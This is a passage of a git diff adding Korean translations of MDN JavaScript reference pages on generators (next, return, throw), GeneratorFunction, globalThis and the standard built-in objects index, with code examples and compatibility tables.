+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(39.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(39.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(39.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<h3 id="오래된_Generator">오래된 Generator</h3>
+
+<ul>
+ <li>{{jsxref("Statements/Legacy_generator_function", "The legacy generator function", "", 1)}}</li>
+ <li>{{jsxref("Operators/Legacy_generator_function", "The legacy generator function expression", "", 1)}}</li>
+ <li>{{jsxref("StopIteration")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol">The legacy Iterator protocol</a></li>
+</ul>
+
+<h3 id="ES2015_Generator">ES2015 Generator</h3>
+
+<ul>
+ <li>{{jsxref("Functions", "Functions", "", 1)}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/generator/next/index.html b/files/ko/web/javascript/reference/global_objects/generator/next/index.html
new file mode 100644
index 0000000000..7f041f9d9b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/generator/next/index.html
@@ -0,0 +1,153 @@
+---
+title: Generator.prototype.next()
+slug: Web/JavaScript/Reference/Global_Objects/Generator/next
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/next
+---
+<div>{{JSRef}}</div>
+
+<p> <code><strong>next</strong></code><strong><code>()</code></strong> 메소드는 <code>done</code>과 <code>value</code> <code>프로퍼티를 가진 객체를 반환한다</code>. 또한 <code><strong>next</strong></code><strong><code>()</code> </strong><code>메소드를 호출할 때 매개변수를 제공하여 그 값을 generator에 전달할 수 있다.</code></p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code><var>gen</var>.next(value)</code></pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Generator에 전달할 값</dd>
+</dl>
+
+<h3 id="반환값">반환값</h3>
+
+<p>두 개의 프로퍼티를 가진 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">객체</a></code>:</p>
+
+<ul>
+ <li><code>done</code> (boolean)
+
+ <ul>
+ <li>Iterator(반복자)가 마지막 반복 작업을 마쳤을 경우 <code>true</code>. 만약 iterator(반복자)에 <em>return 값</em>이 있다면 <code>value</code>의 값으로 지정된다.</li>
+ <li>Iterator(반복자)의 작업이 남아있을 경우 <code>false</code>. Iterator(반복자)에 <code>done</code> 프로퍼티 자체를 특정짓지 않은 것과 동일하다.</li>
+ </ul>
+ </li>
+ <li><code>value</code> - Iterator(반복자)으로부터 반환되는 모든 자바스크립트 값이며 <code>done</code>이 <code>true</code>일 경우 생략될 수 있다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="next()_사용하기"><code>next()</code> 사용하기</h3>
+
+<p>아래의 예시는 간단한 generator와 <code>next</code> 메소드를 통해서 반환되는 객체이다:</p>
+
+<pre class="brush: js">function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+var g = gen(); // "Generator { }"
+g.next(); // "Object { value: 1, done: false }"
+g.next(); // "Object { value: 2, done: false }"
+g.next(); // "Object { value: 3, done: false }"
+g.next(); // "Object { value: undefined, done: true }"
+</pre>
+
+<h3 id="Generator에_값_전달하기">Generator에 값 전달하기</h3>
+
+<p>이 예시에서는 <code>next</code>가 값과 함께 호출되었다. 첫 번째 호출이 아무것도 출력하지 않은 것은 Generator가 아직 아무런 값도 <code>yield</code> 하지않았기 때문이다. (두 번째 호출과 함께 전달된 정수 2는 Generator 내부의 <code>yield</code> 키워드에 전달되어 <code>value</code>로 할당되었고 <code>console.log</code>로 출력되었다)</p>
+
+<pre class="brush: js">function* gen() {
+ while(true) {
+ var value = yield null;
+ console.log(value);
+ }
+}
+
+var g = gen();
+g.next(1);
+// "{ value: null, done: false }"
+g.next(2);
+// "{ value: null, done: false }"
+// 2
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-generator.prototype.next', 'Generator.prototype.next')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop(26)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(26)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterators and generators</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/generator/return/index.html b/files/ko/web/javascript/reference/global_objects/generator/return/index.html
new file mode 100644
index 0000000000..0c2f9b929d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/generator/return/index.html
@@ -0,0 +1,132 @@
+---
+title: Generator.prototype.return()
+slug: Web/JavaScript/Reference/Global_Objects/Generator/return
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/return
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>return()</strong></code> 메소드는 제공된 값을 반환하고 Generator를 종료시킨다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code><var>gen</var>.return(value)</code></pre>
+
+<h3 id="매개_변수">매개 변수</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>반환될 값.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>이 함수의 호출과 함께 주어진 인수 값을 반환한다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="return()_사용"><code>return()</code> 사용</h3>
+
+<p>아래의 예시는 간단한 Generator와 <code>return</code> 메소드를 보여준다.</p>
+
+<pre class="brush: js">function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+var g = gen();
+
+g.next(); // { value: 1, done: false }
+g.return("foo"); // { value: "foo", done: true }
+g.next(); // { value: undefined, done: true }
+</pre>
+
+<h2 id="참고사항">참고사항:</h2>
+
+<p>만약 <code>done</code>이 <code>true</code>이면 반환되는 객체의 <code>value</code> 프로퍼티의 값은 <code>undefined</code>이다. (<code>return</code>(값)은 <code>next</code>()와 동일)</p>
+
+<pre>function* gen() {yield 1;}
+var g = gen();
+console.log(g.next());//{ value: 1, done: false }
+console.log(g.next());//{ value: undefined, done: true }
+console.log(g.return(1)); //{ value: undefined, done: true }</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-generator.prototype.return', 'Generator.prototype.return')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-generator.prototype.return', 'Generator.prototype.return')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop(38)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile(38)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/generator/throw/index.html b/files/ko/web/javascript/reference/global_objects/generator/throw/index.html
new file mode 100644
index 0000000000..534eefe0f6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/generator/throw/index.html
@@ -0,0 +1,99 @@
+---
+title: Generator.prototype.throw()
+slug: Web/JavaScript/Reference/Global_Objects/Generator/throw
+tags:
+ - ECMAScript 2015
+ - Generator
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>throw()</strong></code> 메서드는 Generator의 실행을 재개시키고 Generator 함수의 실행 문맥 속으로 error를 주입한다. <code>done</code>과 <code>value</code> 프로퍼티를 가진 객체를 반환한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>gen</var>.throw(exception)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>exception</code></dt>
+ <dd>Generator 함수의 실행 문맥 속으로 주입할 예외. 디버깅의 목적이라면 <code>instanceof</code> {{jsxref("Error")}} 인 것이 유용하다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>두 개의 프로퍼티를 가진 <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">객체</a></code></p>
+
+<ul>
+ <li><code>done</code> (boolean)
+
+ <ul>
+ <li>Iterator(반복자)가 마지막 반복 작업을 마쳤을 경우 <code>true</code>. 만약 iterator(반복자)에 <em>return 값</em>이 있다면 <code>value</code>의 값으로 지정된다.</li>
+ <li>Iterator(반복자)의 작업이 남아있을 경우 <code>false</code>. Iterator(반복자)에 <code>done</code> 프로퍼티 자체를 특정짓지 않은 것과 동일하다.</li>
+ </ul>
+ </li>
+ <li><code>value</code> - Iterator(반복자)으로부터 반환되는 모든 자바스크립트 값이며 <code>done</code>이 <code>true</code>일 경우 생략될 수 있다.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="throw()_사용하기"><code>throw()</code> 사용하기</h3>
+
+<p>다음의 예시는 간단한 Generator 함수와 throw 메소드를 통해서 주입된 에러를 보여준다. 에러는 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a></code>블록을 통해서 핸들링 할 수 있다.</p>
+
+<pre class="brush: js">function* gen() {
+ while(true) {
+ try {
+ yield 42;
+ } catch(e) {
+ console.log("Error caught!");
+ }
+ }
+}
+
+var g = gen();
+g.next();
+// { value: 42, done: false }
+g.throw(new Error("Something went wrong"));
+// "Error caught!"
+// { value: 42, done: false }
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Generator.throw")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><code><a href="/ko/docs/Web/JavaScript/Reference/Statements/function*">function*</a></code></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/generatorfunction/index.html b/files/ko/web/javascript/reference/global_objects/generatorfunction/index.html
new file mode 100644
index 0000000000..73ee12769d
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/generatorfunction/index.html
@@ -0,0 +1,112 @@
+---
+title: GeneratorFunction
+slug: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
+tags:
+ - Constructor
+ - ECMAScript 2015
+ - Iterator
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>GeneratorFunction</code> 생성자</strong>는 새로운 {{jsxref("Statements/function*", "generator function")}} 객체를 생성한다. JavaScript 에서 모든 generator function 은 실제로 <code>GeneratorFunction</code> object 이다.</p>
+
+<p>주의할 점은, <code>GeneratorFunction</code> 이 전역 객체(global object)가 아니란 점이다. GeneratorFunction은 다음의 코드를 실행해서 얻을 수 있다.</p>
+
+<pre class="brush: js">Object.getPrototypeOf(function*(){}).constructor
+</pre>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>new GeneratorFunction ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>이 함수에서 공식적인 argument 이름들로 사용되는 이름들이다. 각각은 유효한 Javascript 식별자이거나 쉼표로 구분된 문자열 리스트에 해당되는 문자열이어야 한다; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd>
+ <dt><code>functionBody</code></dt>
+ <dd>함수 정의를 구성하는 JavaScript 문이 포함된 문자열.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p><code>GeneratorFunction</code> 생성자로 생성된 {{jsxref("Statements/function*", "generator function")}} 객체는 그 함수가 생성될 때 분석한다. 이러한 함수들이 나머지 코드들과 함께 분석되기 때문에, {{jsxref("Statements/function*", "function* expression")}}으로 generator function을 선언하고 코드 내에서 호출하는 것보다 덜 효율적입니다.</p>
+
+<p>그 함수로 전달된 모든 arguments는 생성될 함수 안에서 파라미터의 식별자 이름으로 그것들이 전달된 순서대로 처리된다.</p>
+
+<div class="note">
+<p><strong>Note:</strong> {{jsxref("Statements/function*", "generator function")}} created with the <code>GeneratorFunction</code> constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>GeneratorFunction</code> constructor was called. This is different from using {{jsxref("Global_Objects/eval", "eval")}} with code for a generator function expression.</p>
+</div>
+
+<p>new 없이 <code>GeneratorFunction</code> 생성자를 함수처럼 사용하는 것은 생성자처럼 사용하는 것과 동일한 효과를 갖는다.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt><code><strong>GeneratorFunction.length</strong></code></dt>
+ <dd><code>GeneratorFunction</code> 생성자의 length 속성으로 1 값을 갖는다.</dd>
+ <dt>{{jsxref("GeneratorFunction.prototype")}}</dt>
+ <dd>모든 generator function objects 에 속성의 추가를 허용한다.</dd>
+</dl>
+
+<h2 id="GeneratorFunction_prototype_object"><code>GeneratorFunction</code> prototype object</h2>
+
+<h3 id="Properties_2">Properties</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/GeneratorFunction/prototype', 'Properties')}}</div>
+
+<h2 id="GeneratorFunction_instances"><code>GeneratorFunction</code> instances</h2>
+
+<p><code>GeneratorFunction</code> 인스턴스는 {{jsxref("GeneratorFunction.prototype")}} 으로부터 속성과 메서드를 상속한다. 다른 모든 생성자들처럼, 생성자의 prototype object 를 변경함으로써 모든 <code>GeneratorFunction</code> instance 에 변화를 줄 수 있다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="GeneratorFunction_생성자로_generator_function_생성하기">GeneratorFunction 생성자로 generator function 생성하기</h3>
+
+<pre class="brush: js">var GeneratorFunction = Object.getPrototypeOf(function*(){}).constructor
+var g = new GeneratorFunction("a", "yield a * 2");
+var iterator = g(10);
+console.log(iterator.next().value); // 20
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-generatorfunction-objects', 'GeneratorFunction')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-generatorfunction-objects', 'GeneratorFunction')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.GeneratorFunction")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Statements/function*", "function* function")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Global_Objects/Function", "Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope", "", 1)}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/globalthis/index.html b/files/ko/web/javascript/reference/global_objects/globalthis/index.html
new file mode 100644
index 0000000000..df3323a00b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/globalthis/index.html
@@ -0,0 +1,89 @@
+---
+title: globalThis
+slug: Web/JavaScript/Reference/Global_Objects/globalThis
+tags:
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/globalThis
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>전역 <code><strong>globalThis</strong></code> 속성은 전역 <code>this</code> 값을 가진 전역 객체를 반환합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-globalthis.html")}}</div>
+
+
+
+<p>{{JS_Property_Attributes(1, 0, 1)}}</p>
+
+<h2 id="설명">설명</h2>
+
+<p>역사적으로, 서로 다른 JavaScript 환경의 전역 범위에 접근하는건 서로 다른 구문을 필요로 했습니다. 웹에서는 {{domxref("Window.window", "window")}}, {{domxref("Window.self", "self")}}, {{domxref("Window.frames", "frames")}}를 사용할 수 있지만, <a href="/ko/docs/Web/API/Worker">Web Workers</a>에서는 <code>self</code>만 동작합니다. Node.js에서는 아무것도 쓸 수 없고, 대신 <code>global</code>을 사용해야 합니다.<br>
+ 비엄격 모드에서의 함수 내부에서 <code>this</code>를 사용할 수도 있겠지만, 모듈이나 엄격 모드의 함수에서는 {{jsxref("undefined")}}를 가리키는 문제가 있습니다.<code> Function('return this')()</code>를 사용하는 방법도 존재하지만, 브라우저의 {{glossary("CSP")}} 등으로 {{jsxref("eval", "eval()")}}을 사용할 수 없는 환경에선 {{jsxref("Function")}}도 이렇게 사용할 수 없습니다.</p>
+
+<p><code>globalThis</code> 속성은 환경에 무관하게 전역 <code>this</code> 값, 즉 전역 객체에 접근하는 표준 방법을 제공합니다. <code>window</code>, <code>self</code> 등 비슷한 속성과는 다르게 브라우저/비 브라우저 맥락 모두에서의 동작을 보장합니다. 따라서 코드를 구동하는 환경을 모르더라도 전역 객체에 일관적으로 접근할 수 있습니다.</p>
+
+<h3 id="HTML과_WindowProxy">HTML과 WindowProxy</h3>
+
+<p>많은 JavaScript 엔진에서 <code>globalThis</code>는 실제 전역 객체를 가리킬 것이나, 웹 브라우저는 {{htmlelement("iframe")}}과 교차 창 보안 문제로 인하여 전역 객체를 감싼 {{jsxref("Proxy")}}를 대신 가리키고, 실제 객체에는 직접 접근할 수 없습니다. 일반적인 사용에는 차이가 없다고 봐도 무방하지만, 알아두는 것이 중요합니다.</p>
+
+<h3 id="이름">이름</h3>
+
+<p><code>self</code>와 <code>global</code>처럼, 다른 인기있던 제안은 기존 코드와의 호환성 문제를 우려해 제외됐습니다. <a href="https://github.com/tc39/proposal-global/blob/master/NAMING.md">언어 제안서의 "NAMING" 문서</a>를 방문해 더 자세한 정보를 읽어보세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="환경별_전역_접근">환경별 전역 접근</h3>
+
+<p><code>globalThis</code> 없이 현재 환경의 전역 객체를 가져오는 방법 중 유일하게 믿을만한 방법은 <code>Function('return this')()</code> 입니다. 그러나 일부 환경에서는 <a href="/ko/docs/Web/HTTP/CSP">CSP</a> 위반에 걸리는 코드이므로, <a href="https://github.com/paulmillr/es6-shim">es6-shim</a>은 대신 다음 검사를 수행합니다.</p>
+
+<pre class="brush: js notranslate">var getGlobal = function () {
+ if (typeof self !== 'undefined') { return self; }
+ if (typeof window !== 'undefined') { return window; }
+ if (typeof global !== 'undefined') { return global; }
+ throw new Error('unable to locate global object');
+};
+
+var globals = getGlobal();
+
+if (typeof globals.setTimeout !== 'function') {
+ // no setTimeout in this environment!
+}
+</pre>
+
+<p><code>globalThis</code>를 사용할 수 있으면 환경별 전역 객체 검사는 더 이상 필요하지 않습니다.</p>
+
+<pre class="brush: js notranslate">if (typeof globalThis.setTimeout !== 'function') {
+ // no setTimeout in this environment!
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("ESDraft", "#sec-globalthis", "globalThis")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.globalThis")}}</p>
+
+<h3 id="구현_진척도">구현 진척도</h3>
+
+<p>본 기능은 아직 안정적인 크로스 브라우징에 도달하지 못했으므로, 매일 업데이트되는 아래 표에서 브라우저별 구현 상황을 확인할 수 있습니다. 이 데이터는 각 브라우저 JavaScript 엔진의 나이틀리 빌드 또는 최신 릴리즈판에서, JavaScript 표준 테스트인 <a href="https://github.com/tc39/test262">Test262</a>의 관련 항목을 시험해 생성합니다.</p>
+
+<p>{{EmbedTest262ReportResultsTable("globalThis")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/this", "this")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/index.html b/files/ko/web/javascript/reference/global_objects/index.html
new file mode 100644
index 0000000000..b0741e8fe2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/index.html
@@ -0,0 +1,204 @@
+---
+title: 표준 내장 객체
+slug: Web/JavaScript/Reference/Global_Objects
+tags:
+ - JavaScript
+ - Overview
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>이 장은 JavaScript의 모든 표준 내장 객체와 그 메서드 및 속성을 나열합니다.</p>
+
+<p>표준 내장 객체와 전역 객체를 헷갈리지 않도록 주의하세요. 표준 내장 객체는 <strong>전역 범위의 여러 객체</strong>를 일컫습니다. 전역 객체는 엄격 모드를 사용하지 않을 땐 전역 범위에서 {{jsxref("Operators/this", "this")}}, 지원하는 환경에선 {{jsxref("globalThis")}}를 사용해 접근할 수 있는 객체입니다. 사실 전역 범위는 <strong>전역 객체와 전역 객체가 상속한 속성</strong>으로 이루어집니다.</p>
+
+<p>전역 범위의 나머지 객체는 <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">사용자 스크립트가 생성</a>하거나, 호스트 응용 프로그램이 제공합니다. 브라우저 맥락에서 사용 가능한 호스트 객체는 <a href="/ko/docs/Web/API">API 참고서</a>에서 읽을 수 있습니다. <a href="/ko/docs/DOM/DOM_Reference">DOM</a> 및 코어 <a href="/ko/docs/Web/JavaScript">JavaScript</a>의 차이에 관한 자세한 정보는 <a href="/ko/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript 기술 개요</a>를 참고하세요.</p>
+
+<h2 id="항목별_표준_객체">항목별 표준 객체</h2>
+
+<h3 id="값_속성">값 속성</h3>
+
+<p>아래 전역 속성은 간단한 값을 반환하며 속성이나 메서드를 가지고 있지 않습니다.</p>
+
+<ul>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}} 리터럴</li>
+ <li>{{jsxref("globalThis")}}</li>
+</ul>
+
+<h3 id="함수_속성">함수 속성</h3>
+
+<p>객체에 붙지 않고 전역으로 호출하는 함수로, 반환 값을 호출자에게 바로 반환합니다.</p>
+
+<div class="twocolumns">
+<ul>
+ <li>{{JSxRef("Global_Objects/eval", "eval()")}}</li>
+ <li>{{Non-Standard_Inline}} {{JSxRef("Global_Objects/uneval", "uneval()")}} </li>
+ <li>{{JSxRef("Global_Objects/isFinite", "isFinite()")}}</li>
+ <li>{{JSxRef("Global_Objects/isNaN", "isNaN()")}}</li>
+ <li>{{JSxRef("Global_Objects/parseFloat", "parseFloat()")}}</li>
+ <li>{{JSxRef("Global_Objects/parseInt", "parseInt()")}}</li>
+ <li>{{JSxRef("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{JSxRef("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{JSxRef("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{JSxRef("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li><strong>Deprecated</strong>
+ <ul>
+ <li>{{deprecated_inline}} {{JSxRef("Global_Objects/escape", "escape()")}} </li>
+ <li>{{deprecated_inline}} {{JSxRef("Global_Objects/unescape", "unescape()")}} </li>
+ </ul>
+ </li>
+</ul>
+</div>
+
+<h3 id="기초_객체">기초 객체</h3>
+
+<p>다른 모든 객체의 기반이 되는 기초이자 기본 객체입니다. 일반 객체, 함수, 오류를 나타내는 객체를 포함합니다.</p>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Symbol")}}</li>
+</ul>
+
+<h4 id="오류_객체">오류 객체</h4>
+
+<p>오류 객체는 기초 객체의 특별한 유형으로, 기본적인 {{jsxref("Error")}} 객체와 함께 특정 용도에 최적화된 오류 형태도 포함합니다.</p>
+
+<div class="twocolumns">
+<ul>
+ <li>{{JSxRef("Error")}}</li>
+ <li>{{Experimental_Inline}} {{JSxRef("AggregateError")}} </li>
+ <li>{{JSxRef("EvalError")}}</li>
+ <li>{{JSxRef("InternalError")}} </li>
